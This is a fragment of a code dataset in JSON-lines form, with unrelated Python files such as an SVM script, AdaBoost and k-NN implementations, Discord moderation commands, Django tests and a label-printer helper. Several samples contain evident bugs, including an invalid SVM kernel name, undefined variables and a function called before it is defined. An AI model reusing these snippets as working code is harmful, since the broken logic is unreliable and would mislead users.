evaluate_on_test_data(self, X_test, X_train, y_train):\r\n\r\n self.X_test = X_test\r\n self.X_train = X_train\r\n self.y_train = y_train\r\n\r\n predictions = model.predict(X_test)\r\n corr_classifications = 0\r\n accuracy = model.score(X_train,y_train)\r\n return accuracy\r\n\r\n def model(self, X_train, y_train):\r\n\r\n self.X_train = X_train\r\n self.y_train = y_train\r\n \r\n model = svm.SVC(kernel = 'ploy')\r\n model.fit(X_train, Y_train)\r\n\r\n\r\ntrain = Train_test_model()\r\nX_train, X_test, y_train, y_test = train.prepare()\r\n\r\ntrain.model(X_train, y_train)\r\nacc = train.evaluate_on_test_data(model)\r\nprint('Accuracy with kernel: ',' is: ', acc*100)\r\n\r\n\r\n\r\n \r\n \r\n","sub_path":"TM_b1.2.py","file_name":"TM_b1.2.py","file_ext":"py","file_size_in_byte":1114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"334539799","text":"\"\"\"Performs a growth simulation.\"\"\"\n\nimport micom.workflows as mw\nimport pandas as pd\nfrom q2_micom._formats_and_types import (\n MicomResultsDirectory,\n CommunityModelDirectory,\n)\n\n\ndef grow(\n models: CommunityModelDirectory,\n medium: pd.DataFrame,\n tradeoff: float = 0.5,\n threads: int = 1,\n) -> MicomResultsDirectory:\n \"\"\"Simulate growth for a set of community models.\"\"\"\n out = MicomResultsDirectory()\n model_folder = (\n str(models.model_files.path_maker(model_id=\"blub\"))\n .replace(\"blub.pickle\", \"\")\n )\n manifest = models.manifest.view(pd.DataFrame)\n growth, exchanges, annotations = mw.grow(\n manifest, model_folder, medium, tradeoff, threads)\n growth.to_csv(out.growth_rates.path_maker(), index=False)\n annotations.to_csv(out.annotations.path_maker(), index=False)\n exchanges[pd.notna(exchanges.flux)].to_csv(\n out.exchange_fluxes.path_maker(), index=False\n )\n return out\n","sub_path":"q2_micom/_growth.py","file_name":"_growth.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"531911468","text":"# See https://stackoverflow.com/a/19521297/3187068\nimport matplotlib\nmatplotlib.use('pdf')\nfont = {'size': 16}\nmatplotlib.rc('font', **font)\n\nfrom typing import Any, List\nimport argparse\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\nimport pandas as pd\nimport re\n\n\ndef avg_tput(df):\n return df['throughput'].agg(np.mean)\n\n\ndef std_tput(df):\n return df['throughput'].agg(np.std)\n\n\ndef add_num_clients(df: pd.DataFrame) -> pd.DataFrame:\n df['num_clients'] = df['num_client_procs'] * df['num_clients_per_proc']\n return df\n\n\ndef barchart(output_filename: str, labels: List[str], data: List[float],\n yerr: List[float], color: List[str]) -> None:\n fig, ax = plt.subplots(1, 1, figsize=(6.4, 4.0))\n x_pos = range(len(data))\n ax.bar(x_pos, data, yerr=yerr, align='center', capsize=10, color=color)\n ax.set_xticks(x_pos)\n ax.set_xticklabels(labels, rotation=-45, ha='left')\n ax.set_title('')\n ax.set_xlabel('')\n ax.set_ylabel('Throughput\\n(thousands cmds/second)')\n fig.savefig(output_filename, bbox_inches='tight')\n print(f'Wrote plot to {output_filename}.')\n\n\ndef main(args) -> None:\n coupled_df = add_num_clients(pd.read_csv(args.coupled_results))\n coupled_df = coupled_df[coupled_df['num_clients'] == 1000]\n coupled_df['throughput'] = coupled_df['start_throughput_1s.p90']\n coupled_df['latency'] = coupled_df['latency.median_ms']\n\n comp_df = add_num_clients(pd.read_csv(args.compartmentalized_results))\n comp_df['throughput'] = comp_df['write_output.start_throughput_1s.p90']\n comp_df['latency'] = comp_df['write_output.latency.median_ms']\n\n npl = comp_df['num_proxy_leaders']\n na = comp_df['num_acceptor_groups'] * comp_df['num_acceptors_per_group']\n nr = comp_df['num_replicas']\n\n dfs = [\n coupled_df,\n comp_df[(npl == 2) & (na == 3) & (nr == 2)],\n comp_df[(npl == 3) & (na == 3) & (nr == 2)],\n comp_df[(npl == 4) & (na == 3) & (nr == 2)],\n comp_df[(npl == 5) & (na == 3) & (nr == 2)],\n comp_df[(npl == 6) & (na == 3) & (nr == 2)],\n comp_df[(npl == 7) & (na == 3) & (nr == 2)],\n comp_df[(npl == 7) & (na == 3) & (nr == 3)],\n comp_df[(npl == 8) & (na == 3) & (nr == 3)],\n comp_df[(npl == 9) & (na == 3) & (nr == 3)],\n comp_df[(npl == 10) & (na == 3) & (nr == 3)],\n ]\n barchart(\n output_filename=args.output,\n labels=[\n 'coupled',\n 'decoupled',\n '3 proxy leaders',\n '4 proxy leaders',\n '5 proxy leaders',\n '6 proxy leaders',\n '7 proxy leaders',\n '3 replicas',\n '8 proxy leaders',\n '9 proxy leaders',\n '10 proxy leaders',\n ],\n data=[avg_tput(df) / 1000 for df in dfs],\n yerr=[std_tput(df) / 1000 for df in dfs],\n color=['C0', 'C1', 'C2', 'C2', 'C2', 'C2', 'C2', 'C3', 'C2', 'C2', 'C2'],\n )\n\n\ndef get_parser() -> argparse.ArgumentParser:\n parser = argparse.ArgumentParser()\n parser.add_argument('--coupled_results',\n type=argparse.FileType('r'),\n help='Super MultiPaxos results.csv file')\n parser.add_argument('--compartmentalized_results',\n type=argparse.FileType('r'),\n help='Compartmentalized MultiPaxos results.csv file')\n parser.add_argument(\n '--output',\n type=str,\n default='ablation.pdf',\n help='Output filename')\n return parser\n\n\nif __name__ == '__main__':\n parser = get_parser()\n main(parser.parse_args())\n","sub_path":"benchmarks/vldb21_compartmentalized/ablation/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":3601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"192915437","text":"from Format_Data import *\nimport pandas as pd\nimport numpy as np\n\n# 单层决策树生成函数(学习器) #######\n\n\n# 将连续变量二值化处理\n#\ndef stump_classify(datamat, dimen, thresh_val, thresh_ineq):\n ret_array = np.ones((np.shape(datamat)[0], 1))\n if thresh_ineq == 'lt':\n ret_array[datamat[:, dimen] <= thresh_val] = -1.0\n else:\n ret_array[datamat[:, dimen] > thresh_val] = -1.0\n\n return ret_array\n\n\n# 构建最优树桩\n#\ndef build_stump(datamat, labelmat, d, num_steps=10):\n \"\"\"\n \n :param d: 列向量\n :param datamat: 样本\n :param labelmat: 标签\n :param num_steps: 区域数 \n :return: 最优树桩,最小误差向量,最佳预测结果\n \"\"\"\n\n m, n = np.shape(datamat)\n best_stump = {}\n best_class_est = np.mat(np.zeros((m, 1)))\n min_error = np.inf\n\n # 在所有特征上遍历\n for i in range(n):\n range_min = datamat[:, i].min()\n range_max = datamat[:, i].max()\n step_size = (range_max - range_min) / num_steps\n\n # 对每个分割区域\n for j in range(-1, num_steps + 1):\n\n # 对每个方向\n for ineqal in ['lt', 'gt']:\n thresh_val = range_min + j * step_size # 阈值\n predict_val = stump_classify(datamat, i, thresh_val, ineqal) # 预测标记\n errormat = np.mat(np.ones((m, 1))) # 错误矩阵\n errormat[predict_val == labelmat] = 0\n weight_error = d.T * errormat # 错误率\n\n # print(\"split: dim %d, thresh %.2f, thresh ineqal %s, weight error %.3f\" % (i, thresh_val, ineqal,\n # weight_error))\n\n if weight_error < min_error:\n min_error = weight_error\n best_class_est = predict_val.copy()\n best_stump['dim'] = i\n best_stump['thresh'] = thresh_val\n best_stump['ineqal'] = ineqal\n\n return best_stump, min_error, best_class_est\n\n\n# 基于单层决策树的adaboost训练过程\n#\ndef adaboost_train_ds(datamat, labelmat, num_iter=40):\n weak_class_list = [] # 弱学习器列表\n m = np.shape(datamat)[0]\n d = np.mat(np.ones((m, 1)) / m)\n agg_class_est = np.mat(np.ones((m, 1))) # 每个样本的类别估计累计值, H\n\n for i in range(num_iter):\n best_stump, error, class_est = build_stump(datamat, labelmat, d)\n weak_class_list.append(best_stump)\n print(\"D: \", d.T)\n print(\"class_est: \", class_est.T)\n\n # 计算alpha\n alpha = float(0.5 * np.log((1.0 - error) / max(error, 1e-16))) # 确保不会出现除0溢出\n best_stump['alpha'] = alpha\n\n # 更新D\n expon = -1 * alpha * np.multiply(labelmat, class_est)\n d = np.multiply(d, np.exp(expon))\n d = d / d.sum()\n\n # 评估集成错误率\n agg_class_est += alpha * class_est\n agg_error = np.multiply(np.sign(agg_class_est) != labelmat, np.ones((m, 1)))\n error_rate = agg_error.sum() / m\n print(\"agg_class_est: \", agg_class_est)\n print(\"total error: \", error_rate)\n if error_rate == 0.0:\n break\n\n return weak_class_list\n\n\n# 分类函数\n#\ndef adaboost_classify(datamat, classifer_list):\n m = np.shape(datamat)[0]\n agg_class_est = np.ones((m, 1)) # H\n\n # 在所有分类器上遍历\n for i in range(len(classifer_list)):\n class_est = stump_classify(datamat, classifer_list[i]['dim'], classifer_list[i]['thresh'],\n classifer_list[i]['ineqal'])\n agg_class_est += classifer_list[i]['alpha'] * class_est\n\n return np.sign(agg_class_est)\n\n\n# 导入数据\n#\nxg_Data = pd.read_excel('C:/Users/sumlo/Documents/Python_Study/xg.xlsx', header=None)\ndataset = xg_Data.ix[:1].transpose().values.tolist()\nlabelset = xg_Data.ix[2].values.tolist()\n\ndata_mat, label_mat = format_trans_xg(dataset, labelset)\nadaboost_train_ds(data_mat, label_mat)\n","sub_path":"adaboost.py","file_name":"adaboost.py","file_ext":"py","file_size_in_byte":4052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"166751867","text":"import pytest\n\nfrom stylo.domain import RealDomain, UnitSquare\nfrom stylo.domain.transform import RealDomainTransform\nfrom stylo.domain.transform.translation import Translation\nfrom stylo.domain.transform.transform import (\n find_base_transform,\n find_base_domain,\n DomainTransformer,\n)\nfrom stylo.shape import Circle\n\n\n@pytest.mark.domain\nclass TestFindBaseTransform:\n \"\"\"Tests for the :code:`find_base_transform` function.\"\"\"\n\n def test_with_transform(self):\n \"\"\"Ensure that when given a domain transform, this function returns the\n appropriate base class.\"\"\"\n\n base_transform = find_base_transform(Translation)\n assert base_transform == RealDomainTransform\n\n def test_with_shape(self):\n \"\"\"Ensure that when given something that is not a domain transform, this\n function raises the appropriate exception\"\"\"\n\n with pytest.raises(TypeError) as err:\n find_base_transform(Circle)\n\n assert \"is not a domain transform\" in str(err.value)\n\n\n@pytest.mark.domain\nclass TestFindBaseDomain:\n \"\"\"Tests for the :code:`find_base_domain` function.\"\"\"\n\n def test_with_base_transform(self):\n \"\"\"Ensure that when given a base domain transform, this function performs as\n expected.\"\"\"\n\n base_domain = find_base_domain(RealDomainTransform)\n assert base_domain == RealDomain\n\n def test_with_shape(self):\n \"\"\"Ensure that when given something that is not a domain, this function raises\n the appropriate exception.\"\"\"\n\n with pytest.raises(TypeError) as err:\n find_base_domain(Circle)\n\n assert \"is not a base domain transform\" in str(err.value)\n\n def test_with_transform(self):\n \"\"\"Ensure that when given a transform that is not the base this raises the\n appropriate exception.\"\"\"\n\n with pytest.raises(TypeError) as err:\n find_base_domain(Translation)\n\n assert \"is not a base domain transform\" in str(err.value)\n\n\n@pytest.mark.domain\nclass TestDomainTransformer:\n \"\"\"Tests for the :code:`DomainTransformer` class.\"\"\"\n\n def test_apply_transform_bad_type(self):\n \"\"\"Ensure that an exception is raised if the transform is applied to an\n unsupported type.\"\"\"\n\n transformer = DomainTransformer(Translation, 1, 1)\n\n with pytest.raises(TypeError, match=\"Unable to perform\"):\n transformer.apply_transform(3)\n\n def test_apply_transform_with_domain(self):\n \"\"\"Ensure that a transform is properly applied to a domain object.\"\"\"\n\n domain = UnitSquare()\n transform = DomainTransformer(Translation, 1, 2)\n\n transformed = transform.apply_transform(domain)\n\n assert -1 == transformed.dx\n assert -2 == transformed.dy\n assert domain == transformed.domain\n","sub_path":"tests/domain/transform/test_transform.py","file_name":"test_transform.py","file_ext":"py","file_size_in_byte":2813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"49721146","text":"from math import sqrt\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport warnings\r\nfrom matplotlib import style\r\nfrom collections import Counter\r\nimport pandas as pd\r\nimport numpy as np\r\nimport random\r\n\r\n'''\r\nKNN summary: Find the closest k points and see what they are classified as. If the two closest\r\npoints have a '+' classification, then the answer is +. If the two closest are a '-' and a '+', then it's a tie.\r\n\r\nIf there are more classifications then there are points, then a tie would be more likely (we want to avoid this).\r\n'''\r\ndf = pd.read_csv('breast-cancer-wisconsin.data')\r\ndf.replace('?', -99999, inplace=True) # distance is too large so it will ignore the point\r\ndf.drop(['id'], 1, inplace=True)\r\nfull_data = df.astype(float).values.tolist() # make sure it doesn't come as a string ; full_data is a list of lists\r\nrandom.shuffle(full_data)\r\n\r\ntest_size = 0.2\r\ntrain_set = {2: [], 4: []}\r\ntest_set = {2: [], 4: []}\r\ntrain_data = full_data[:-int(test_size * len(full_data))]\r\ntest_data = full_data[-int(test_size * len(full_data)):]\r\n\r\nfor i in train_data:\r\n train_set[i[-1]].append(i[:-1]) # find the class and access it in the dictionary and make the features everything before it\r\n # it will end up being a list of sub-lists\r\nfor i in test_data:\r\n test_data[i[-1]].append(i[:-1]) # find the class and access it in the dictionary and make the features everything before it\r\n\r\ncorrect = 0\r\ntotal = 0\r\n\r\nfor group in test_set:\r\n for data in test_set[group]: \r\n # for each list of features, make the prediction by calling the knn method\r\n vote = k_nearest_neighbors(train_set, data, k=5)\r\n if group == vote: # group is the actual correct answer, so compare to see\r\n correct += 1\r\n total += 1\r\nprint('Accuracy:', correct / total)\r\n\r\ndef k_nearest_neighbors(data, predict, k=3):\r\n if len(data) >= k:\r\n warnings.warn('K is set to a set to value less than total voting groups!') # make sure proper number of voting groups\r\n\r\n # you can check only the points that are in a radius to reduce calculational complexity\r\n distances = []\r\n for group in data:\r\n for features in data[group]: \r\n #euclidean_distance = sqrt((features[0] - predict[0]) ** 2 + (features[1] - predict[1]) ** 2 )\r\n #euclidean_distance = np.sqrt(np.sum((np.array(features)-np.array(predict))**2)) # numpy quick alternative\r\n euclidean_distance = np.linalg.norm(np.array(features) - np.array(predict))\r\n distances.append([euclidean_distance, group]) \r\n\r\n # sort the matrix distance by the first index of the sub-lists (distance) and get the sublist second index (containing the class / label) \r\n votes = [i[1] for i in sorted(distances)[:k]] \r\n # print(sorted(distances)[:k]) - [[2.0, 'r'], [2.23606797749979, 'r'], [3.1622776601683795, 'r']]\r\n print(Counter(votes).most_common(1))\r\n # find the 1st most common vote and get the tuple and then get the class\r\n vote_result = Counter(votes).most_common(1)[0][0] \r\n confidence = Counter(votes).most_common(1)[0][1] / k # number of votes of prevailing class / total votes\r\n\r\n return vote_result\r\n\r\nresults = k_nearest_neighbors(dataset, new_features, k=3)","sub_path":"knn_scratch_comparison.py","file_name":"knn_scratch_comparison.py","file_ext":"py","file_size_in_byte":3234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"529569264","text":"import time\nfrom typing import *\nimport random\n\nclass PortSelector:\n def __init__(self):\n pass\n\n def select(self, ports: List[int]):\n raise NotImplementedError()\n\nclass TimedPortSelector(PortSelector):\n\n def __init__(self, interval):\n self.interval = interval\n self.last_switch = int(time.time())\n self.choice = random.randint(0, 65535)\n\n super().__init__()\n\n def select(self, ports: List[int]):\n now = int(time.time())\n if now - self.last_switch > self.interval:\n self.last_switch = now\n self.choice = random.randint(0, 65535)\n return ports[self.choice % len(ports)]","sub_path":"toysocks/port_selector.py","file_name":"port_selector.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"401197501","text":"import json\nfrom jsonschema import validate\n\n# Describe what kind of json you expect.\nschema = {\n \"type\" : \"object\",\n \"properties\" : {\n \"description\" : {\"type\" : \"string\"},\n \"status\" : {\"type\" : \"boolean\"},\n \"value_a\" : {\"type\" : \"number\"},\n \"value_b\" : {\"type\" : \"number\"},\n },\n}\n\n# Convert json to python object.\nmy_json = json.loads('{\"description\": \"Hello world!\", \"status\": true, \"value_a\": 1, \"value_b\": 3.14}')\n\n# Validate will raise exception if given json is not\n# what is described in schema.\nvalidate(instance=my_json, schema=schema)\n\n# print for debug\nprint(my_json)","sub_path":"validation with Python/jsonValidator.py","file_name":"jsonValidator.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"368522301","text":"infile=open('rainfall.txt','r')\nnewfile=open('rainfallfmt.txt','w')\ncat60 = []\ncat71 = []\ncat81 = []\ncat91 = []\nfor line in infile:\n value = line.split()\n \n if str(60) <= value[1] < str(70): \n cat60.append((value[0], value[1])) # Storing a tuple in the list\n if str(70) <= value[1] < str(80):\n cat71.append((value[0], value[1])) \n if str(80) <= value[1] < str(90):\n cat81.append((value[0], value[1]))\n if str(90) <= value[1] :\n cat91.append((value[0], value[1]))\n\nnewfile.write(\"[60-70]\"+'\\n')\nfor i in range(len(cat60)):\n value[0] = cat60[i][0]\n value[1] = cat60[i][1]\n newfile.write('%+25s'%(value[0])+'%6.4s'%(value[1])+'\\n')\n\nnewfile.write(\"[70-80]\"+'\\n')\nfor i in range(len(cat71)):\n value[0] = cat71[i][0]\n value[1] = cat71[i][1] \n newfile.write('%+25s'%(value[0])+'%6.4s'%(value[1])+'\\n')\n\nnewfile.write(\"[80-90]\"+'\\n')\nfor i in range(len(cat81)):\n value[0] = cat81[i][0]\n value[1] = cat81[i][1]\n newfile.write('%+25s'%(value[0])+'%6.4s'%(value[1])+'\\n')\n\nnewfile.write(\"[91-]\"+'\\n')\nfor i in range(len(cat91)):\n value[0] = cat91[i][0]\n value[1] = cat91[i][1]\n newfile.write('%+25s'%(value[0])+'%6.4s'%(value[1])+'\\n')\ninfile.close()\nnewfile.close()","sub_path":"labs_assignments/lab1 1.py","file_name":"lab1 1.py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"652730499","text":"import discord\nfrom discord.ext import commands\nfrom commons import checks\nfrom asyncio import sleep\n\nclass Admin(commands.Cog):\n \"\"\"Commands for managing Discord servers.\"\"\"\n def __init__(self,bot):\n self.bot = bot\n\n @checks.can_kick()\n @commands.command()\n async def kick(self, ctx, user : discord.Member):\n \"\"\"Kicks a user from the server.\"\"\"\n if ctx.author == user:\n await ctx.send(\"You cannot kick yourself.\")\n else:\n await user.kick()\n embed = discord.Embed(title=f'User {user.name} has been kicked.', color=0x00ff00)\n embed.add_field(name=\"Goodbye!\", value=\":boot:\")\n embed.set_thumbnail(url=user.avatar_url)\n await ctx.send(embed=embed)\n\n @checks.can_ban()\n @commands.command()\n async def ban(self, ctx, user : discord.Member):\n \"\"\"Bans a user from the server.\"\"\"\n if ctx.author == user:\n await ctx.send(\"You cannot ban yourself.\")\n else:\n await user.ban()\n embed = discord.Embed(title=f'User {user.name} has been banned.', color=0x00ff00)\n embed.add_field(name=\"Goodbye!\", value=\":hammer:\")\n embed.set_thumbnail(url=user.avatar_url)\n await ctx.send(embed=embed)\n\n @checks.can_mute()\n @commands.command()\n async def mute(self, ctx, user : discord.Member, time: int):\n \"\"\"Prevents a user from speaking for a specified amount of time.\"\"\"\n if ctx.author == user:\n await ctx.send(\"You cannot mute yourself.\")\n else:\n rolem = discord.utils.get(ctx.message.guild.roles, name='Muted')\n if rolem is None:\n embed=discord.Embed(title=\"Muted role\", url=\"http://echo-bot.wikia.com/wiki/Setting_up_the_muted_role\", description=\"The mute command requires a role named 'Muted'.\", color=0xff0000)\n embed.set_author(name=self.bot.user.name, icon_url=self.bot.user.avatar_url)\n embed.set_footer(text=\"Without this role, the command will not work.\")\n await ctx.send(embed=embed)\n elif rolem not in user.roles:\n embed = discord.Embed(title=f'User {user.name} has been successfully muted for {time}s.', color=0x00ff00)\n embed.add_field(name=\"Shhh!\", value=\":zipper_mouth:\")\n embed.set_thumbnail(url=user.avatar_url)\n await ctx.send(embed=embed)\n await user.add_roles(rolem)\n await sleep(time)\n if rolem in user.roles:\n try:\n await user.remove_roles(rolem)\n embed = discord.Embed(title=f'User {user.name} has been automatically unmuted.', color=0x00ff00)\n embed.add_field(name=\"Welcome back!\", value=\":open_mouth:\")\n embed.set_thumbnail(url=user.avatar_url)\n await ctx.send(embed=embed)\n except Exception:\n print(f'User {user.name} could not be unmuted!')\n else:\n await ctx.send(f'User {user.mention} is already muted.')\n\n @checks.can_mute()\n @commands.command()\n async def unmute(self, ctx, user: discord.Member):\n \"\"\"Unmutes a user.\"\"\"\n rolem = discord.utils.get(ctx.message.guild.roles, name='Muted')\n if rolem in user.roles:\n embed = discord.Embed(title=f'User {user.name} has been manually unmuted.', color=0x00ff00)\n embed.add_field(name=\"Welcome back!\", value=\":open_mouth:\")\n embed.set_thumbnail(url=user.avatar_url)\n await ctx.send(embed=embed)\n await user.remove_roles(rolem)\n\n @checks.can_managemsg()\n @commands.command()\n async def prune(self, ctx, count: int):\n \"\"\"Deletes a specified amount of messages. (Max 100)\"\"\"\n if count>100:\n count = 100\n await ctx.message.channel.purge(limit=count, bulk=True)\n\n @checks.can_managemsg()\n @commands.command()\n async def clean(self, ctx):\n \"\"\"Cleans the chat of the bot's messages.\"\"\"\n def is_me(m):\n return m.author == self.bot.user\n await ctx.message.channel.purge(limit=100, check=is_me)\n\ndef setup(bot):\n bot.add_cog(Admin(bot))","sub_path":"cogs/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":4287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"139847340","text":"from __future__ import (absolute_import, division, print_function,\n unicode_literals)\n\nimport logging\n\nfrom ..interfaces import factories as factories\n\n\ndef apply_model(model, x, y_init, fitter_name=None):\n\n if fitter_name:\n fitter = factories.FitterFactory.all_fitters[fitter_name]()\n else:\n fitter = factories.FitterFactory.default_fitter()\n\n result = fitter(model, x, y_init)\n\n if 'message' in fitter.fit_info:\n # The fitter 'message' should probably be logged at INFO level.\n # Problem is, info messages do not display in the error console,\n # and we, ideally, want the user to see the message immediately\n # after the fit is executed.\n logging.warning(fitter.fit_info['message'])\n\n return result\n\n\n# def gaussian(x, y):\n# amp, mean, stddev = _gaussian_parameter_estimates(x, y)\n# g_init = models.Gaussian1D(amplitude=amp, mean=mean, stddev=stddev)\n# fit_g = fitting.LevMarLSQFitter()\n# g = fit_g(g_init, x, y)\n#\n# return (g.amplitude, g.mean, g.stddev), x, g(x)\n#\n#\n# def _gaussian_parameter_estimates(x, y, dy=0):\n# amplitude = np.percentile(y, 95)\n# y = np.max(y / y.sum(), 0)\n# mean = (x * y).sum()\n# stddev = np.sqrt((y * (x - mean) ** 2).sum())\n# return amplitude, mean, stddev\n","sub_path":"specviz/analysis/modeling.py","file_name":"modeling.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"24176716","text":"from pymongo import MongoClient\r\nimport base64\r\ndef mongo_connection():\r\n try:\r\n connection = MongoClient('localhost')\r\n print(\"MongoDB conectado correctamente\")\r\n return connection\r\n except Exception as e:\r\n print(\"Error de conexión : \",e)\r\n\r\ndb = mongo_connection()[\"mydb\"]\r\nnombre=input(\"Introduzca su primer nombre: \")\r\napellido=input(\"Introduzca su apellido: \")\r\nrut = input(\"Introduzca su RUT con puntos y guión: \")\r\nif (not (db[\"users\"].find_one({'rut':rut}))):\r\n db[\"users\"].insert_one({'nombre':nombre,'apellido':apellido,'rut':rut})\r\n print(\"Nuevo usuario registrado.\")\r\nfecha = input(\"Introduzca fecha de suceso (DD/MM/AA): \") \r\nlatitud = input (\"Introduzca latitud del suceso: \")\r\nlongitud = input (\"Introduzca longitud del suceso: \")\r\nexterior = input (\"Exterior: 1 / Interior : 0 \")\r\ncategoria = input (\"Introduzca categoria : 1:Humano 2:Musica 3:Animal 4:Climatico/Natural 5:Mecanico 6:Vehiculo 7:Alerta :\")\r\narchivo = input(\"Introduzca nombre del archivo (debe estar en la carpeta desde donde se ejecuta add_wavfile.py) Ej. ejemplo.wav: \")\r\nf = open (archivo,\"rb\")\r\nencode = base64.b64encode(f.read())\r\nentry =db[\"files\"].insert_one({'fecha':fecha,'latitud':latitud,'longitud':longitud,'exterior':exterior,'categoria':categoria,'data':encode,'usuario':{'rut':rut,'nombre':nombre,'apellido':apellido}})\r\nf.close()\r\nid_aux = entry.inserted_id\r\naux =(db[\"sources\"].find_one({'_id':int(categoria)}))['archivos']\r\ndb[\"sources\"].update_one({'_id':int(categoria)},{'$set':{'archivos': aux+[id_aux]}},upsert=False)\r\nprint(\"Archivo ingresado correctamente\")\r\n","sub_path":"add_wavfile.py","file_name":"add_wavfile.py","file_ext":"py","file_size_in_byte":1611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"211507639","text":"from django.test import TestCase\n# Create your tests here.\n\nfrom django.test import TestCase\nfrom django.contrib.auth import get_user_model\nfrom django.urls import reverse\nfrom .models import Snack\n\n\nclass SnacksTests(TestCase):\n def setUp(self):\n self.user = get_user_model().objects.create_user(\n username=\"Mahmoud\",\n email=\"Mahmoud@email.com\", \n password=\"123\"\n )\n\n self.snack = Snack.objects.create(\n title=\"first order\", purchaser=self.user, discribtion=\"Burger meal 300g\" \n )\n \n def test_string_representation(self):\n self.assertEqual(str(self.snack), \"first order\")\n\n def test_snack_content(self):\n self.assertEqual(f\"{self.snack.title}\", \"first order\")\n self.assertEqual(f\"{self.snack.purchaser}\", \"Mahmoud@email.com\")\n self.assertEqual(self.snack.discribtion,\"Burger meal 300g\")\n\n\n def test_snack_list_view(self):\n response = self.client.get(reverse(\"home\"))\n self.assertEqual(response.status_code, 200)\n self.assertContains(response, \"first order\")\n self.assertTemplateUsed(response, \"snacks_t/snack_list.html\")\n\n def test_snack_detail_view(self):\n response = self.client.get(reverse(\"snacks_detail\", args=\"1\"))\n no_response = self.client.get(\"/100000/\")\n self.assertEqual(response.status_code, 200)\n self.assertEqual(no_response.status_code, 404)\n self.assertContains(response, \"purchaser: Mahmoud@email.com\")\n self.assertTemplateUsed(response, \"snacks_t/snacks_detail.html\")\n\n def test_snack_create_view(self):\n response = self.client.post(\n reverse(\"Create\"),\n {\n \"title\": \"Burger\",\n \"purchaser\": self.user.id,\n \"discribtion\": \"good snack\",\n }, follow=True\n )\n\n self.assertRedirects(response, reverse(\"snacks_detail\", args=\"2\"))\n self.assertContains(response, \"Burger\")\n\n\n\n def test_snack_update_view_redirect(self):\n response = self.client.post(\n reverse(\"update\", args=\"1\"),\n {\"title\": \"Updated title\",\"purchaser\":self.user.id,\"discribtion\":\"New discribtion\"}\n )\n\n self.assertRedirects(response, reverse(\"snacks_detail\", args=\"1\"))\n\n def test_snack_delete_view(self):\n response = self.client.get(reverse(\"delete\", args=\"1\"))\n self.assertEqual(response.status_code, 200)","sub_path":"snacks/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":2446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"429199290","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nSistemi Corporation, copyright, all rights reserved, 2020-2021\nVivian Guthrie, Martin Guthrie\n\n\"\"\"\nimport logging\nfrom PIL import Image, ImageDraw, ImageFont\nimport qrcode\nimport os\nimport subprocess\nimport base64\nimport usb\nfrom core.const import PUB\nfrom core.sys_log import pub_notice\nfrom threading import Lock\n\nVERSION = \"0.0.1\"\n\nNUM_CHANNELS = 1 # set this to simulate multiple channels, range 1-4\n\nDRIVER_TYPE = \"Brother_QL-700\"\n\n\nclass BrotherQL700(object):\n \"\"\" Brother Ql-700 Helper Class\n\n \"\"\"\n DRIVER_PATH = \"./public/prism/drivers/brother_ql700/\"\n WORKING_PATH = DRIVER_PATH + \"wip/\"\n\n def __init__(self, id, path):\n self.logger = logging.getLogger(\"SC.{}\".format(__class__.__name__))\n try:\n if not os.path.exists(self.WORKING_PATH):\n self.logger.info(\"creating {}\".format(self.WORKING_PATH))\n os.makedirs(self.WORKING_PATH)\n\n except FileExistsError:\n pass\n\n except Exception as e:\n self.logger.error(\"Failed to make path for {}: {}\".format(self.WORKING_PATH, e))\n notice = \"ERROR path {} failed\".format(self.WORKING_PATH)\n pub_notice(notice, sender=\"{}._make_dirs\".format(__class__.__name__), type=PUB.NOTICE_ERR)\n\n self.lock = Lock()\n self.path = path # this is the linux usb path, /dev/usb/lp0\n self.id = id\n\n def _create_barcode(self, string):\n qr = qrcode.QRCode(version=1,\n error_correction=qrcode.constants.ERROR_CORRECT_L,\n box_size=5,\n border=1)\n\n encrypted_info = \"{}\".format(string)\n\n qr.add_data(encrypted_info)\n qr.make(fit=True)\n img = qr.make_image(fill_color=\"black\", back_color=\"white\")\n img.save(self.WORKING_PATH + \"qrcode.PNG\")\n img_filename = os.path.abspath(self.WORKING_PATH + \"qrcode.PNG\")\n return img_filename\n\n def _create_text(self, ruid, chan):\n img = Image.new('RGB', (696, 309), color='white')\n\n d = ImageDraw.Draw(img)\n font_path = self.DRIVER_PATH + 'TIMES.TTF'\n self.logger.info(font_path)\n font = ImageFont.truetype(font_path, 50)\n d.text((10, 10), \"RUID:{}\".format(chan), fill=(0, 0, 0), font=font)\n font = ImageFont.truetype(font_path, 40)\n d.text((10, 54), \"{}\".format(ruid), fill=(0, 0, 0), font=font)\n img.save(self.WORKING_PATH + 'pil_text.png')\n img_file = os.path.abspath(self.WORKING_PATH + 'pil_text.png')\n return img_file\n\n def _create_label(self, text_path, barcode_path):\n text = Image.open(text_path, 'r')\n barcode = Image.open(barcode_path, 'r')\n\n label = 